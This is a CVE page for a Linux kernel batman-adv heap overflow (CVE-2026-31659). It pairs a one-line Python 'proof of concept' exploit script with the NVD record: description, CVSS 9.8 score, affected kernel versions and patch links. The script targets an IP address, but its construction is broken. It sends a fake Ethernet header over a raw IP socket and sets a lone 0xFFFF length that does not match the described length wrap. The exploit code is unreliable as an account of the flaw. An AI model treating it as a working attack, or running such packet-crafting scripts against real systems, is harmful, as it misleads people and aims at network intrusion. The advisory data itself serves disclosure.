CVE-2026-31659

import socket import struct # This PoC demonstrates the concept of sending a crafted packet to trigger the integer overflow. # Real exploitation requires a specific Batman-adv network setup. def send_exploit_packet(target_ip, target_port): try: # Create a raw socket (requires root privileges) sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) # Construct a malicious TT response header with a large length value # to simulate the overflow condition in batadv_tt_prepare_tvlv_global_data. # Dummy Ethernet and IP headers (simplified for PoC structure) eth_header = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00' # Batman-adv specific TVLV container # Vulnerability: Length field wraps around 16-bit boundary malicious_length = struct.pack('!H', 0xFFFF) # Max 16-bit value to trigger edge case payload = eth_header + malicious_length + b'A' * 100 # Padding sock.sendto(payload, (target_ip, 0)) print(f"[+] Packet sent to {target_ip}") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() # Usage # send_exploit_packet("192.168.1.1", 0)

{"cve": {"id": "CVE-2026-31659", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:45.457", "lastModified": "2026-04-27T20:17:17.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbatman-adv: reject oversized global TT response buffers\n\nbatadv_tt_prepare_tvlv_global_data() builds the allocation length for a\nglobal TT response in 16-bit temporaries. When a remote originator\nadvertises a large enough global TT, the TT payload length plus the VLAN\nheader offset can exceed 65535 and wrap before kmalloc().\n\nThe full-table response path still uses the original TT payload length when\nit fills tt_change, so the wrapped allocation is too small and\nbatadv_tt_prepare_tvlv_global_data() writes past the end of the heap object\nbefore the later packet-size check runs.\n\nFix this by rejecting TT responses whose TVLV value length cannot fit in\nthe 16-bit TVLV payload length field."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.13.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "D6549DFC-0811-4ACB-AAC7-1960F001987F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.169", "matchCriteriaId": "DBEC0E5D-641C-4E98-A6D9-5799B10CE451"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.135", "matchCriteriaId": "15C1A1B2-14EE-494C-AF3E-D5A7BA640B39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.82", "matchCriteriaId": "02904CAE-71D2-45B3-9EC3-F6A9D18B6307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.23", "matchCriteriaId": "E9E09FDD-9EE3-4A56-92E2-2B30AFD0072F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.13", "matchCriteriaId": "1490EF9B-9080-481C-8D22-1306AAE664E4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:3.13:-:*:*:*:*:*:*", "matchCriteriaId": "0F72A71E-B6B2-40F2-A21D-BF7CE1514976"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2997f4bd1f982e7013709946e00be89b507693fa", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3a359bf5c61d52e7f09754108309d637532164a6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/69d61639bc7e963c3b645e570279d731e7c89062", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7e5d007e0df946bffb8542fb112e0044014a5897", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tag ... 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